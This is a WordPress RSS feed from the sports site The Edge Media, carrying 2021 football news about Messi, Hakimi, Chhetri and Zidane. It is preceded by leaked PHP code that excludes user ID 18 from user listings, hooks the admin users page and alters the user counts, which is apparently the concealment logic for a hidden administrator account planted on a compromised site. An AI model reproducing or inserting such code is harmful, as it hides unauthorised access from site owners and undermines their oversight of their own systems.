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    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
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} );

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        if ( isset( $views[ $key ] ) ) {
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                1
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    return $views;
} );

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		<title>Lionel Messi joins Paris Saint -Germain with Barcelona legacy intact.</title>
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					<description><![CDATA[<p>On Wednesday, Messi is to be unveiled as a Parisian player on a two-year contract, with an optional third.  The 34-year-old Messi did not want to leave the Camp Nou, certainly not in the manner he ultimately did.  He had agreed a new five-year deal but cash-strapped Catalans could not afford to make it happen. [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/lionel-messi-joins-paris-saint-germain-with-barcelona-legacy-intact">Lionel Messi joins Paris Saint -Germain with Barcelona legacy intact.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">On Wednesday, Messi is to be unveiled as a Parisian player on a two-year contract, with an optional third. </span></p>
<p><span style="font-weight: 400">The 34-year-old Messi did not want to leave the Camp Nou, certainly not in the manner he ultimately did. </span></p>
<p><span style="font-weight: 400">He had agreed a new five-year deal but cash-strapped Catalans could not afford to make it happen. Messi is arguably the greatest of all time, even though he has never won the World Cup and claimed the last of his four Champion Leagues in 2015. </span></p>
<p><span style="font-weight: 400">Winning that competition is all that matters to PSG and their Qatari owners  and that is why they are paying Messi a reported 35 million euros ($41 million) a year.   </span></p>
<p>&nbsp;</p>
<p>The post <a href="https://theedgemedia.in/lionel-messi-joins-paris-saint-germain-with-barcelona-legacy-intact">Lionel Messi joins Paris Saint -Germain with Barcelona legacy intact.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Achraf Hakimi test positive for Coronavirus</title>
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		<pubDate>Sat, 17 Jul 2021 13:38:16 +0000</pubDate>
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					<description><![CDATA[<p>Paris Saint-Germain wing-back Achraf Hakimi has tested positive for coronavirus and been put into isolation, a source close to the club told AFP on Saturday. Morroco&#8217;s Hakimi, 22, made his Parisian debut in Wednesday&#8217;s friendly win over third-tier Le Mans after joining from Inter Milan for 60 million euros ($71 million) last week. He missed [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/achraf-hakimi-test-positive-for-coronavirus">Achraf Hakimi test positive for Coronavirus</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Paris Saint-Germain wing-back Achraf Hakimi has tested positive for coronavirus and been put into isolation, a source close to the club told AFP on Saturday.</p>
<p>Morroco&#8217;s Hakimi, 22, made his Parisian debut in Wednesday&#8217;s friendly win over third-tier Le Mans after joining from Inter Milan for 60 million euros ($71 million) last week. He missed Saturday&#8217;s pre-season draw with third-division Chambly and is set to be sidelined for next week&#8217;s games with Augbsurg and Genoa.</p>
<p>PSG were hit hard by Covid-19 at the start of last season when several players tested positive and Neymar, Kylian Mbappe, Angel Di Maria and Leandro Paredes had to self-isolate after a holiday to Ibiza following the team&#8217;s Champions League final loss to Bayern Munich.</p>
<p>The post <a href="https://theedgemedia.in/achraf-hakimi-test-positive-for-coronavirus">Achraf Hakimi test positive for Coronavirus</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Indian Footballer Sunil Chhetri Takes Inspiration From Messi During Downs</title>
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		<pubDate>Sat, 12 Jun 2021 12:57:14 +0000</pubDate>
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					<description><![CDATA[<p>Lionel Messi&#8217;s astonishing football run leaves the sad Sunil Chhetri happy, remarked on Saturday, the magical Indian captain, and claimed it clearly was &#8220;the stupid cocoon&#8221; when he compared him with the Argentinian maestro. Over and above the comparison with Messi, Chhetri, who is 36, has passed him as the second-best global scorer among active [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/indian-footballer-sunil-chhetri-takes-inspiration-from-messi-during-downs">Indian Footballer Sunil Chhetri Takes Inspiration From Messi During Downs</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Lionel Messi&#8217;s astonishing football run leaves the sad Sunil Chhetri happy, remarked on Saturday, the magical Indian captain, and claimed it clearly was &#8220;the stupid cocoon&#8221; when he compared him with the Argentinian maestro.</p>
<p>Over and above the comparison with Messi, Chhetri, who is 36, has passed him as the second-best global scorer among active competitors. &#8220;I see Messi&#8217;s videos when I&#8217;m unhappy, and when I meet him I&#8217;m going to tell him I&#8217;m a fan, offer him a beautiful handshake, and that&#8217;s all,&#8221; Chhetri stated in an interview with AIFF.</p>
<p>The post <a href="https://theedgemedia.in/indian-footballer-sunil-chhetri-takes-inspiration-from-messi-during-downs">Indian Footballer Sunil Chhetri Takes Inspiration From Messi During Downs</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Zidane calls it quits after his second stint as Real Madrid coach</title>
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		<pubDate>Fri, 28 May 2021 06:12:20 +0000</pubDate>
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					<description><![CDATA[<p>Zinedine Zidane, football legend and current manager of Real Madrid has decided to step down from his post although his contract was valid till June 2022. Zidane had earlier left the club in 2018 after leading Madrid to one of its most successful runs with three consecutive Champions League titles and an unbeaten streak of [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/zidane-calls-it-quits-after-his-second-stint-as-real-madrid-coach">Zidane calls it quits after his second stint as Real Madrid coach</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>Zinedine Zidane, football legend and current manager of Real Madrid has decided to step down from his post although his contract was valid till June 2022.<br />
Zidane had earlier left the club in 2018 after leading Madrid to one of its most successful runs with three consecutive Champions League titles and an unbeaten streak of 40 matches.<br />
The team won nine championships, including two Club World Cups, two UEFA Super Cups, one Spanish league, and one Spanish Super Cup under Zidane&#8217;s charge.</p>
<p>In his second term, the team secured the league title once and won a Spanish Super Cup.</p>
<p>The first time, he quit after leading the team to its third straight Champions League title, saying it was time for a change and that he didn’t see it clearly that the club would keep winning with him in charge.</p>
<p>Recently, he said that he believed the team would do well without him.</p>
<p>The post <a href="https://theedgemedia.in/zidane-calls-it-quits-after-his-second-stint-as-real-madrid-coach">Zidane calls it quits after his second stint as Real Madrid coach</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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